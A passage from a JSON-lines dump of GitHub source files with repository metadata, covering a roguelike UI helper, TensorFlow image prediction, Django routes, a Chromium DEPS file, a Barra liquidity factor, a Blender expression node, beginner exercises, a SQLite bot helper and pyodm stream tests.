Boxes.MAP_ADJACENT_TO_BORDER[tuple(key)]\n if border_segment is not None:\n border[x, y] = type_map[border_segment]\n\n return border[1:-1, 1:-1]\n\n\nif __name__ == \"__main__\":\n i = \"U:2|r:5|D:3|L:1|U:7\"\n r = Boxes.turtle_to_box(i)\n b = Boxes.array_to_border(r)\n\n print(b)\n\n assert False\n\n # Test out the Boxes.get_box() static method\n box = Boxes.get_box(10, 6, border_type=Boxes.BORDER_DEFAULT)\n print(Boxes.box_to_text(box))\n\n box = Boxes.get_box(10, 6, border_type=Boxes.BORDER_TYPE_1)\n print(Boxes.box_to_text(box))\n\n box = Boxes.get_box(10, 6, border_type=Boxes.BORDER_TYPE_2)\n print(Boxes.box_to_text(box))\n\n box = Boxes.get_box(10, 6, border_type=Boxes.BORDER_TYPE_3)\n print(Boxes.box_to_text(box))\n\n box = Boxes.get_box_divider(10, border_type=Boxes.BORDER_TYPE_3)\n print((box))\n print(Boxes.box_to_text(box))\n\n box = Boxes.get_box_divider(10, border_type=Boxes.BORDER_TYPE_3, orient=Boxes.DIVIDER_VERTICAL)\n print((box))\n print(Boxes.box_to_text(box))\n","repo_name":"kwoolter/roguelike","sub_path":"roguelike/view/view_utils.py","file_name":"view_utils.py","file_ext":"py","file_size_in_byte":17292,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"70241378791","text":"#Create the process_image function\nimport json\nfrom PIL import Image\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_hub as hub\n \ndef process_image(image):\n image_size = 224\n image = tf.cast(image, tf.float32)\n image = tf.image.resize(image, (image_size, image_size))\n image /= 255\n image.numpy()\n return image\n\n# Create the predict function for top_k\ndef predict_top_k(image_path, model, top_k): \n \n im = Image.open(image_path)\n test_image = np.asarray(im)\n image = process_image(test_image)\n \n # this is the image that will be printed\n old_image = image\n \n # add extra dimension so that image can work with the mode \n image = np.expand_dims(image, axis=0) \n \n # predict the image\n ps = model.predict(image)\n \n # get the indices for sorted images\n b = np.argsort(ps) \n c = b[0][::-1] \n c = c[0:top_k] # top classes\n \n # get the top K prediction probabilities\n ps_topk = ps[0][c]\n class_number = c\n \n \n return ps_topk, class_number \n\n# Create the predict function for class_names\ndef predict_class_name(image_path, model, file_name): \n \n im = Image.open(image_path)\n test_image = np.asarray(im)\n image = process_image(test_image)\n \n # load class names \n with open(file_name, 'r') as f:\n class_names = json.load(f)\n \n # this is the image that will be printed\n old_image = image\n \n # add extra dimension so that image can work with the mode \n image = np.expand_dims(image, axis=0) \n \n # predict the image\n ps = model.predict(image)\n \n # get the indices for sorted images\n b = np.argsort(ps) \n c = b[0][::-1] \n c = c[0] # only keep the top prediction\n \n # get the prediction probability\n ps_topk = ps[0][c]\n \n # get the labels for the top K probabilites in class_names -- increment the value in c to get the right key \n class_names_topk = class_names[str(c+1)]\n #for val in c:\n #class_names_topk.append(class_names[str(val+1)]) \n \n return ps_topk, class_names_topk","repo_name":"hanifam/image_classifier_project","sub_path":"utility_functions.py","file_name":"utility_functions.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12578861538","text":"\"\"\"myobject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom web.views import index, cart, orders\n\n# 大堂点餐端子路由配置\nurlpatterns = [\n path('', index.index, name='web_index'),\n\n # 前台登录退出的路由\n path('login', index.login, name='web_login'),\n path('dologin', index.dologin, name='web_dologin'),\n path('logout', index.logout, name='web_logout'),\n path('verify', index.verify, name='web_verify'),\n\n # 为url路由添加请求前缀web/,凡是带此前缀的url地址必须登录后才可访问\n path('web/', include([\n path('', index.webindex, name='web_index'),\n #购物车信息管理路由\n path('cart/add/', cart.add, name='web_cart_add'),\n path('cart/delete/', cart.delete, name='web_cart_delete'),\n path('cart/clear', cart.clear, name='web_cart_clear'),\n path('cart/change', cart.change, name='web_cart_change'),\n\n # 订单处理路由\n path('orders/', orders.index, name='web_orders_index'),\n path('orders/insert', orders.insert, name='web_orders_insert'),\n path('orders/detail', orders.detail, name='web_orders_detail'),\n path('orders/status', orders.status, name='web_orders_status'),\n ]))\n]\n","repo_name":"jacksonz0610/myobject","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38288429033","text":"import gclient_utils\nimport os\n\npath = gclient_utils.FindGclientRoot(os.getcwd())\nexecfile(os.path.join(path, 'multivm.deps', 'DEPS.chromium')) # Include proper Chromium DEPS.\n\n# Now we need to override some settings and add some new ones.\n\nvars.update({\n \"chromium_url\": \"http://src.chromium.org/svn\",\n \"multivm_base\": \"http://src.chromium.org\",\n \"multivm_chromium_commit\": \"09b7de5dd7254947cd4306de907274fa63373d48\",\n \"multivm_chromium_position\": \"317474\",\n \"chromium_base_position\": \"317474\",\n \"dart_tools_branch\": \"/branches/bleeding_edge/dart/tools\",\n \"dart_tools_revision\": \"39950\",\n \"multivm_blink_branch\": \"/blink/branches/dart/multivm\",\n \"multivm_blink_revision\": \"191732\",\n})\n\ndef massage_deps(deps):\n for key, value in deps.items():\n if value is None: continue\n\n if value.startswith('/trunk'):\n deps[key] = Var(\"chromium_url\") + value\n continue\n\n if value.startswith(Var(\"webkit_trunk\")):\n path, revision = value.split('@') # and svn revision.\n path = path[len(Var(\"webkit_trunk\")):] # Strip WebKit repo.\n value = (Var(\"multivm_base\") + Var(\"multivm_blink_branch\") + path +\n '@' + Var(\"multivm_blink_revision\"))\n deps[key] = value\n continue\n\nmassage_deps(deps)\nfor os_deps in deps_os.values():\n massage_deps(os_deps)\n\ndeps.update({\n \"src\": Var(\"chromium_git\") + \"/chromium/src.git\" + \"@\" +\n Var(\"multivm_chromium_commit\"),\n\n \"src/third_party/WebKit\" :\n Var(\"multivm_base\") + Var(\"multivm_blink_branch\") + \"@\" +\n Var(\"multivm_blink_revision\"),\n\n\n# We cannot check out src/dart/tools because dart/tools/gyp includes files\n# that are automatically found and that break the build.\n \"src/dart/tools/bots\":\n Var(\"dart_tools_branch\") + \"/bots@\" + Var(\"dart_tools_revision\"),\n \"src/dart/tools/dartium\":\n Var(\"dart_tools_branch\") + \"/dartium@\" + Var(\"dart_tools_revision\")\n})\n\ndeps_os['win'].update({\n \"src/chrome/tools/test/reference_build/chrome_win\": None\n})\ndeps_os['mac'].update({\n \"src/chrome/tools/test/reference_build/chrome_mac\": None\n})\ndeps_os['unix'].update({\n \"src/chrome/tools/test/reference_build/chrome_linux\": None\n})\n\nhooks.append({\n # Set the revision for a lazily downloaded reference build of chromium,\n # with which to run perf tests.\n 'name': 'set_reference_build',\n 'pattern': '.',\n 'action': ['python',\n 'src/dart/tools/bots/set_reference_build_revision.py',\n Var('chromium_base_position')],\n})\n","repo_name":"dart-archive/bleeding_edge-DEPRECATED-USE-SDK-INSTEAD","sub_path":"deps/multivm.deps/DEPS","file_name":"DEPS","file_ext":"","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":209,"dataset":"github-code","pt":"71"} +{"seq_id":"10702583756","text":"# Question: https://atcoder.jp/contests/abc194/tasks/abc194_c\n# Solution: https://atcoder.jp/contests/abc194/submissions/20737873\n\n\"\"\"\n _ _ _ ____\n / \\ _ __ ___ ____ | || ||___ \\\n / _ \\ | '_ ` _ \\|_ / | || |_ __) |\n / ___ \\| | | | | |/ / |__ _/ __/\n /_/ \\_\\_| |_| |_/___| |_||_____|\n\"\"\"\nimport sys, os.path\nif os.path.exists('amz42.txt'):\n\tsys.stdin = open(\"input.txt\",\"r\")\n\tsys.stdout = open(\"output.txt\",\"w\")\n\n\"\"\" Write from here \"\"\"\nn = int(input().strip(\" \"))\nl = [int(x) for x in input().strip(\" \").split(\" \")]\n\nanswer = 0\nsum_of_numbers = 0\n\nfor i in l:\n\tanswer += (i**2 * (n-1)) - (2*sum_of_numbers*i)\n\tsum_of_numbers += i\n\nprint(answer)","repo_name":"Amz42/Competitive-Programming-And-DSA","sub_path":"Competitive Programming/AtCoder/ABC194/C - Squared Error.py","file_name":"C - Squared Error.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"9600221939","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\n# Generated by Django 1.11.6 on 2017-10-13 20:21\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n (\"upload\", \"0013_upload_content_hash\"),\n (\"download\", \"0001_initial\"),\n ]\n\n operations = [\n migrations.CreateModel(\n name=\"MicrosoftDownload\",\n fields=[\n (\n \"id\",\n models.AutoField(\n auto_created=True,\n primary_key=True,\n serialize=False,\n verbose_name=\"ID\",\n ),\n ),\n (\"url\", models.URLField(max_length=500)),\n (\"error\", models.TextField(null=True)),\n (\"skipped\", models.NullBooleanField()),\n (\"created_at\", models.DateTimeField(auto_now_add=True)),\n (\"completed_at\", models.DateTimeField(null=True)),\n (\n \"file_upload\",\n models.ForeignKey(\n null=True,\n on_delete=django.db.models.deletion.CASCADE,\n to=\"upload.FileUpload\",\n ),\n ),\n (\n \"missing_symbol\",\n models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE,\n to=\"download.MissingSymbol\",\n ),\n ),\n ],\n ),\n ]\n","repo_name":"mozilla-services/tecken","sub_path":"tecken/download/migrations/0002_microsoftdownload.py","file_name":"0002_microsoftdownload.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"71"} +{"seq_id":"13303757355","text":"from .barra_envion import *\n\nclass Liquidity(DataReady):\n def __init__(self, begin: TimeType, end: TimeType = None, **kwargs):\n end = end if end else date.today().strftime(\"%Y%m%d\")\n super().__init__(begin, end, **kwargs)\n self.parallel = kwargs.get('parallel', True)\n\n @staticmethod\n def _calc_Liquidity(series: np.ndarray, days: int):\n freq = len(series) // days\n res = np.log(np.nansum(series) / freq)\n return -1e10 if np.isfinite(res) else res\n\n @cached_property\n def STOM(self):\n \"\"\"\n STOM: share turnover, one month, $STOM = ln(\\sum_{t=1}^{21} \\frac{V_t}{S_t})$\n - $V_t$: the trading volume on day t\n - $S_t$: the number of shares outstanding\n - 1)采用流通股本值,而非自由流通股本值;2)剔除未上市、停牌日期的数据。\n :return:\n \"\"\"\n df = self.turnover\n if self.parallel:\n df = self.pandas_parallelcal(df, self._calc_Liquidity, args=(21,), window=21)\n else:\n df = df.rolling(axis=0, window=21).apply(func=self._calc_Liquidity, args=(21, ), raw=True)\n return df\n\n @cached_property\n def STOQ(self):\n \"\"\"\n STOQ: average share turnover, trailing 3 months. Let $STOM_\\tau$ be\n the share turnover for month $\\tau$, with each month consisting of\n 21 trading days. The quarterly share turnover is defined by,\n $STOQ=ln(\\frac{1}{T}\\sum^T_{\\tau=1} exp(STOM_{\\tau}))$, where T=3.\n :return:\n \"\"\"\n df = self.turnover\n if self.parallel:\n df = self.pandas_parallelcal(df, self._calc_Liquidity, args=(21,), window=63)\n else:\n df = df.rolling(axis=0, window=63).apply(func=self._calc_Liquidity, args=(21, ), raw=True)\n return df\n\n @cached_property\n def STOA(self):\n \"\"\"\n STOA: average share turnover, trailing 12 months. $STOA = ln(\\frac{\n 1}{T}\\sum^T_{\\tau=1} exp(STOM_{\\tau}))$, where T = 12.\n :return:\n \"\"\"\n df = self.turnover\n if self.parallel:\n df = self.pandas_parallelcal(df, self._calc_Liquidity, args=(21,), window=252)\n else:\n df = df.rolling(axis=0, window=21).apply(func=self._calc_Liquidity, args=(21, ), raw=True)\n return df\n\n @cached_property\n def Liquidity(self):\n df = 0.35 * self.STOM + 0.35 * self.STOQ + 0.3 * self.STOA\n df = df.ffill()\n return df\n","repo_name":"KangruiYuan/XQuant","sub_path":"XQuant/FactorManager/BarraCNE6/Liquidity.py","file_name":"Liquidity.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"26678205998","text":"import bpy\nfrom bpy.types import Node\nfrom animation_nodes.mn_node_base import AnimationNode\nfrom animation_nodes.mn_execution import nodePropertyChanged, nodeTreeChanged, allowCompiling, forbidCompiling\nfrom animation_nodes.mn_utils import *\n\ndefaultVariableNames = list(\"xyzwabcdefghijklmnopqrstuv\")\n\nclass mn_ExpressionNode(Node, AnimationNode):\n\tbl_idname = \"mn_ExpressionNode\"\n\tbl_label = \"Expression\"\n\t\n\texpression = bpy.props.StringProperty(default = \"x\", update = nodeTreeChanged, description = \"Python Expression (math module is imported)\")\n\tisExpressionValid = bpy.props.BoolProperty(default = True)\n\t\n\tdef init(self, context):\n\t\tforbidCompiling()\n\t\tsocket = self.inputs.new(\"mn_GenericSocket\", \"x\")\n\t\tsocket.editableCustomName = True\n\t\tsocket.customName = \"x\"\n\t\tsocket.customNameIsVariable = True\n\t\tsocket.removeable = True\n\t\tself.inputs.new(\"mn_EmptySocket\", \"...\").passiveSocketType = \"mn_GenericSocket\"\n\t\tself.outputs.new(\"mn_GenericSocket\", \"Result\")\n\t\tallowCompiling()\n\t\t\n\tdef draw_buttons(self, context, layout):\n\t\tlayout.prop(self, \"expression\", text = \"\")\n\t\tif not self.isExpressionValid:\n\t\t\tlayout.label(\"invalid expression\", icon = \"ERROR\")\n\t\t\n\tdef update(self):\n\t\tforbidCompiling()\n\t\tsocket = self.inputs.get(\"...\")\n\t\tif socket is not None:\n\t\t\tlinks = socket.links\n\t\t\tif len(links) == 1:\n\t\t\t\tlink = links[0]\n\t\t\t\tfromSocket = link.from_socket\n\t\t\t\tself.inputs.remove(socket)\n\t\t\t\tnewSocket = self.inputs.new(\"mn_GenericSocket\", self.getNotUsedSocketName())\n\t\t\t\tnewSocket.editableCustomName = True\n\t\t\t\tnewSocket.customNameIsVariable = True\n\t\t\t\tnewSocket.removeable = True\n\t\t\t\tnewSocket.customName = self.getNextCustomName()\n\t\t\t\tself.inputs.new(\"mn_EmptySocket\", \"...\").passiveSocketType = \"mn_GenericSocket\"\n\t\t\t\tself.id_data.links.new(newSocket, fromSocket)\t\n\t\tallowCompiling()\n\t\t\n\tdef getNextCustomName(self):\n\t\tfor name in defaultVariableNames:\n\t\t\tif not self.isCustomNamesUsed(name): return name\n\t\treturn getRandomString(5)\n\t\t\t\n\tdef isCustomNamesUsed(self, customName):\n\t\tfor socket in self.inputs:\n\t\t\tif socket.customName == customName: return True\n\t\treturn False\n\t\t\n\tdef getNotUsedSocketName(self):\n\t\tsocketName = getRandomString(5)\n\t\twhile self.isSocketNameUsed(socketName):\n\t\t\tsocketName = getRandomString(5)\n\t\treturn socketName\n\tdef isSocketNameUsed(self, name):\n\t\tfor socket in self.inputs:\n\t\t\tif socket.name == name or socket.identifier == name: return True\n\t\treturn False\n\t\t\n\tdef getInputSocketNames(self):\n\t\tinputSocketNames = {}\n\t\tfor socket in self.inputs:\n\t\t\tif socket.name == \"...\":\n\t\t\t\tinputSocketNames[\"...\"] = \"EMPTYSOCKET\"\n\t\t\telse:\n\t\t\t\tinputSocketNames[socket.identifier] = socket.customName\n\t\treturn inputSocketNames\n\tdef getOutputSocketNames(self):\n\t\treturn {\"Result\" : \"result\"}\n\t\t\n\tdef useInLineExecution(self):\n\t\treturn True\n\tdef getModuleList(self):\n\t\treturn [\"math\"]\n\tdef getInLineExecutionString(self, outputUse):\n\t\tif not isValidCode(self.expression):\n\t\t\tself.isExpressionValid = False\t\n\t\t\treturn \"$result$ = None\"\n\t\telse:\n\t\t\tself.isExpressionValid = True\t\t\n\t\t\n\t\texpression = self.expression + \" \"\n\t\tcustomNames = self.getCustomNames()\n\t\tcodeLine = \"\"\n\t\tcurrentWord = \"\"\n\t\tfor char in expression:\n\t\t\tif char.isalpha():\n\t\t\t\tcurrentWord += char\n\t\t\telse:\t\t\t\t\n\t\t\t\tif currentWord in customNames:\n\t\t\t\t\tcurrentWord = \"%\" + currentWord + \"%\"\n\t\t\t\tcodeLine += currentWord\n\t\t\t\tcurrentWord = \"\"\n\t\t\t\tcodeLine += char\n\t\treturn \"try: $result$ = \" + codeLine + \"\\nexcept: $result$ = None\"\n\t\t\n\tdef getCustomNames(self):\n\t\tcustomNames = []\n\t\tfor socket in self.inputs:\n\t\t\tif socket.name != \"...\":\n\t\t\t\tcustomNames.append(socket.customName)\n\t\treturn customNames\n\t\t\n","repo_name":"miklobit/blenderpython","sub_path":"scripts/addons_extern/animation-nodes/nodes/script/mn_expression.py","file_name":"mn_expression.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"14134555768","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 27 12:12:28 2016\n\n@author: lantao\n\"\"\"\nbalance = 3200000\nannualInterestRate = 0.2\nmonthlyInterestRate = annualInterestRate/12\nannualCompoundRate = (1 + monthlyInterestRate)**12\nmonthlyPaymentUpper = (balance * annualCompoundRate)/12.0\nmonthlyPaymentLower = balance/12\nmonthlyPayment = (monthlyPaymentUpper + monthlyPaymentLower)/2.0\nyearlyBalance = balance\nfor month in range (0,12):\n unpaidBalance = yearlyBalance - monthlyPayment\n yearlyBalance = unpaidBalance + (annualInterestRate/12) * unpaidBalance\nwhile yearlyBalance != 0:\n yearlyBalance = balance\n if yearlyBalance > 0:\n monthlyPaymentUpper = monthlyPayment\n else:\n monthlyPaymentLower = monthlyPayment\n monthlyPayment = (monthlyPaymentUpper + monthlyPaymentLower)/2.0\nfor month in range (0,12):\n unpaidBalance = yearlyBalance - monthlyPayment\n yearlyBalance = unpaidBalance + (annualInterestRate/12) * unpaidBalance \nprint(\"Lowest Payment:\", str(round(monthlyPayment,2)))","repo_name":"laurenceantao/edX","sub_path":"6.00.1x/Final/Problem 2.3.py","file_name":"Problem 2.3.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"916449910","text":"def divisors(num):\r\n divisors = []\r\n for i in range(1, num + 1):\r\n if num % i == 1:\r\n divisors.append(i)\r\n return divisors\r\n\r\n\r\ndef run():\r\n num = int(input('Ingresa un número: '))\r\n \r\n print(divisors(num))\r\n print(\"Terminó mi programa vuelve a reiniciarlo, por favor, vamos tu puedes\")\r\n\r\n\r\nif __name__ == '__main__':\r\n run()\r\n","repo_name":"Leviatan99/Notas_Curso_Python_Intermedio","sub_path":"deb.py","file_name":"deb.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73745178147","text":"from enum import Enum\nfrom tqdm import tqdm\nfrom sympy import isprime\nimport numpy as np\n\n\nclass Moving(Enum):\n RIGHT = 0\n UP = 1\n LEFT = 2\n DOWN = 3\n\n\nINCREMENTS = {\n Moving.RIGHT: (1, 0),\n Moving.UP: (0, 1),\n Moving.LEFT: (-1, 0),\n Moving.DOWN: (0, -1)\n}\n\nCOUNTERCLOCKWISE_TURN = {\n Moving.RIGHT: Moving.UP,\n Moving.UP: Moving.LEFT,\n Moving.LEFT: Moving.DOWN,\n Moving.DOWN: Moving.RIGHT\n}\n\ndef get_ulam_spiral_coords(n: int):\n gen = square_spiral_range(n)\n xv = []\n yv = []\n for i in tqdm(np.arange(n)):\n x, y = next(gen)\n if isprime(i):\n xv.append(x)\n yv.append(y)\n return np.array(xv, dtype=int), np.array(yv, dtype=int)\n\ndef is_even(n: int) -> bool:\n return n % 2 == 0\n\ndef square_spiral_range(n: int):\n x, y = 0, 0\n direction = Moving.RIGHT\n num_turns = 0\n side_len = 1\n side_pos = 0\n for i in range(n):\n # decide whether to turn (i.e. change directions)\n if side_pos == side_len:\n # do turn\n direction = COUNTERCLOCKWISE_TURN[direction]\n side_pos = 0\n num_turns += 1\n\n # increase side_len every other turn\n if is_even(num_turns):\n side_len += 1\n\n # increment side_pos and coords\n x_step, y_step = INCREMENTS[direction]\n x += x_step\n y += y_step\n side_pos += 1\n yield x, y\n","repo_name":"FlyingWorkshop/UlamSpiral","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5483825038","text":"pSeuil = 2.3\nvSeuil = 7.41\n\npression = float(input(\"Entrez une pression : \"))\nvolume = float(input(\"Entrez un volume : \"))\n\nif pression > pSeuil and volume > vSeuil:\n print(\"Arrêt immédiat\")\nelif pression > pSeuil:\n choix = str(input(\"La pression est trop élevée, augmentez le volume de l'enceinte ? (o/n)\"))\n if choix == \"o\":\n print(\"Merci d'augmenter le volume de l'enceinter\")\n else:\n print(\"Arrêt immédiat\")\nelif volume > vSeuil:\n choix = str(input(\"Le volume est trop élevée, diminiuez le volume ? (o/n)\"))\n if choix == \"o\":\n print(\"Merci de diminuez le volume de l'enceinte\")\n else:\n print(\"Arrêt immédiat\")\nelse:\n print(\"La pression et le volume sont bonnes\")\n","repo_name":"Ozzipozzo/LearningPython-ESGI","sub_path":"ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"118340430","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport sqlite3\r\n\r\ndef create_table():\r\n\tconn = sqlite3.connect('etolol.db')\r\n\tc = conn.cursor()\r\n\tc.execute(\"CREATE TABLE IF NOT EXISTS Users(user_id INT PRIMARY KEY, stage TEXT, movies_list TEXT)\")\r\n\tconn.commit()\r\n\tc.close()\r\n\tconn.close()\r\n\r\ndef add_user(user_id):\r\n\ttry:\r\n\t\tconn = sqlite3.connect('etolol.db')\r\n\t\tc = conn.cursor()\r\n\t\tc.execute(\"INSERT INTO Users (user_id) VALUES (?)\", (user_id,))\r\n\t\tprint('User id was added')\r\n\t\tconn.commit()\r\n\t\tc.close()\r\n\t\tconn.close()\r\n\texcept Exception as e: \r\n\t\tprint('User id was not added.', e)\r\n\r\ndef set_stage(stage, user_id):\r\n\ttry:\r\n\t\tconn = sqlite3.connect('etolol.db')\r\n\t\tc = conn.cursor()\r\n\t\tc.execute(\"UPDATE Users SET stage=? WHERE user_id=?\", (stage, user_id))\r\n\t\tprint('Stage was changed: ' + stage)\r\n\t\tconn.commit()\r\n\t\tc.close()\r\n\t\tconn.close()\r\n\texcept Exception as e:\r\n\t\tprint('Stage was changed.', e)\r\n\r\ndef get_stage(user_id):\r\n\ttry:\r\n\t\tconn = sqlite3.connect('etolol.db')\r\n\t\tc = conn.cursor()\r\n\t\tc.execute('SELECT stage FROM Users WHERE user_id=?', (user_id,))\r\n\t\tdata = c.fetchone()[0]\r\n\t\tprint('Stage was selected: ' + data)\r\n\t\tconn.commit()\r\n\t\tc.close()\r\n\t\tconn.close()\r\n\t\treturn data\r\n\texcept Exception as e:\r\n\t\tprint('Stage was not selected.', e)\r\n\r\n\r\ndef update_movie_list(movies_list, user_id):\r\n\ttry:\r\n\t\tconn = sqlite3.connect('etolol.db')\r\n\t\tc = conn.cursor()\r\n\t\tc.execute(\"UPDATE Users SET movies_list=? WHERE user_id=?\", (movies_list, user_id))\r\n\t\tprint('Movie list was updated')\t\t\t\r\n\t\tconn.commit()\r\n\t\tc.close()\r\n\t\tconn.close()\r\n\texcept Exception as e:\r\n\t\tprint('Movie list was not updated.', e)\r\n\r\ndef get_movie_list(user_id):\r\n\ttry:\r\n\t\tconn = sqlite3.connect('etolol.db')\r\n\t\tc = conn.cursor()\r\n\t\tc.execute('SELECT movies_list FROM Users WHERE user_id=?', (user_id,))\r\n\t\tprint('Movie list was selected')\r\n\t\tdata = c.fetchone()[0]\r\n\t\tconn.commit()\r\n\t\tc.close()\r\n\t\tconn.close()\r\n\t\treturn data\r\n\texcept Exception as e: \r\n\t\tprint('Movie list was not selected.', e)\t\r\n\t\r\n\r\nif __name__ == '__main__':\r\n\tcreate_table()\r\n\tadd_user(2)\r\n\tupdate_movie_list('test2', 2)","repo_name":"tentotal/movie_releases","sub_path":"db_handler.py","file_name":"db_handler.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11447977451","text":"from pathlib import Path\n\nimport pytest\n\nfrom pyodm.core.source.path_source import PathSource\nfrom pyodm.core.xml.writer.cdisc_xml_writer import CdiscXmlWriter\nfrom pyodm.factory.cdsic_xml_xsd_factory import CdiscXMLXsdFactory\nfrom pyodm.model.v2.cdisc.ItemGroupData import ItemGroupData\nfrom pyodm.model.v2.cdisc.Value import Value\nfrom pyodm.utils.stream import Stream\n\n\n@pytest.fixture\ndef test_data():\n data_file = PathSource(\"data\", \"test_data.xml\")\n cdisc = CdiscXMLXsdFactory(data_file=data_file)\n return cdisc.odm()\n\n\ndef out_put(data):\n cw = CdiscXmlWriter(data, out_put=Path(\"test.xml\"))\n cw.write()\n\n\n\n\n\ndef test_stream_update(test_data):\n stream = Stream(test_data)\n optional = stream.find(_lambda=lambda x: x.get_name() == 'SubjectData' and x.SubjectKey.get_value() == 'D001001')\n optional.update(SubjectKey=\"9999999\")\n assert test_data.SubjectData.array[0].SubjectKey.get_value() == \"9999999\"\n out_put(test_data)\n\n\ndef test_stream_update_text(test_data):\n stream = Stream(test_data)\n optional = stream.find(_lambda=lambda x: x.get_name() == 'SubjectData' and x.SubjectKey.get_value() == 'D001001') \\\n .find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupOID.get_value() == 'HeaderLog' and x.ItemGroupRepeatKey.get_value() == \"0\") \\\n .find(_lambda=lambda x: x.get_name() == 'Value' and x.SeqNum.get_value() == '683')\n optional.update_text(\"990099\")\n out_put(test_data)\n\n\n@pytest.fixture()\ndef new_value1():\n value = Value()\n value.set_name(\"Value\")\n value.SeqNum.set_name(\"SeqNum\")\n value.SeqNum.set_value(\"888777\")\n value.set_value(\"XXXXX\")\n return value\n\n\n@pytest.fixture()\ndef new_value_by_xml():\n data_file = PathSource(\"data\", \"ItemData.xml\")\n cdisc = CdiscXMLXsdFactory(data_file=data_file)\n return cdisc.odm()\n\n\ndef test_stream_append(test_data, new_value1, new_value_by_xml):\n stream = Stream(test_data)\n optional = stream.find(_lambda=lambda x: x.get_name() == 'ItemData' and x.ItemOID.get_value() == \"SVDAT\")\n optional.append(\"Value\", new_value1)\n out_put(test_data)\n\n stream = Stream(test_data)\n # stream.find(test_data)\n item_group_data = stream.find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupRepeatKey.get_value() == '0' and x.ItemGroupOID.get_value() == 'Enrollment')\n item_group_data.append(\"ItemData\", new_value_by_xml)\n out_put(test_data)\n\n\n@pytest.fixture()\ndef data_of_attribute1():\n value = ItemGroupData()\n value.set_name(\"ItemGroupData\")\n value.TransactionType.set_name(\"TransactionType\")\n value.TransactionType.set_value(\"EN\")\n value.ItemGroupDataSeq.set_name(\"ItemGroupDataSeq\")\n value.ItemGroupDataSeq.set_value(\"10000000\")\n return value\n\n\n@pytest.fixture()\ndef data_of_attribute2():\n value = ItemGroupData()\n value.set_name(\"ItemGroupData\")\n value.ItemGroupOID.set_name(\"ItemGroupOID\")\n value.ItemGroupOID.set_value(\"ItemGroupOID99999\")\n value.TransactionType.set_name(\"TransactionType\")\n value.TransactionType.set_value(\"EN\")\n value.ItemGroupDataSeq.set_name(\"ItemGroupDataSeq\")\n value.ItemGroupDataSeq.set_value(\"10000000\")\n return value\n\n\ndef test_stream_merge_attribute1(test_data, data_of_attribute1):\n \"\"\"\n Merge 属性: 合并时,原有属性不存在的值会被 合并对象更新\n \"\"\"\n item_group_data = test_data.as_stream().find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupRepeatKey.get_value() == '0' and x.ItemGroupOID.get_value() == 'Enrollment')\n\n item_group_data.merge(\"ItemGroupData\", data_of_attribute1)\n x = test_data.as_stream().find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupRepeatKey.get_value() == '0' and x.ItemGroupOID.get_value() == 'Enrollment').get()\n\n assert x.ItemGroupDataSeq.get_value() == \"10000000\"\n assert x.TransactionType.get_value() == \"EN\"\n\n out_put(test_data)\n\n\ndef test_stream_merge_attribute2(test_data, data_of_attribute2):\n \"\"\"\n Merge 属性: 合并时,原有已存在的属性值不会被合并对象\n \"\"\"\n item_group_data = Stream(test_data).find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupRepeatKey.get_value() == '0' and x.ItemGroupOID.get_value() == 'Enrollment')\n\n item_group_data.merge(\"ItemGroupData\", data_of_attribute2)\n x = Stream(test_data).find(_lambda=lambda\n x: x.get_name() == 'ItemGroupData' and x.ItemGroupRepeatKey.get_value() == '0' and x.ItemGroupOID.get_value() == 'Enrollment').get()\n assert x.ItemGroupOID.get_value() == 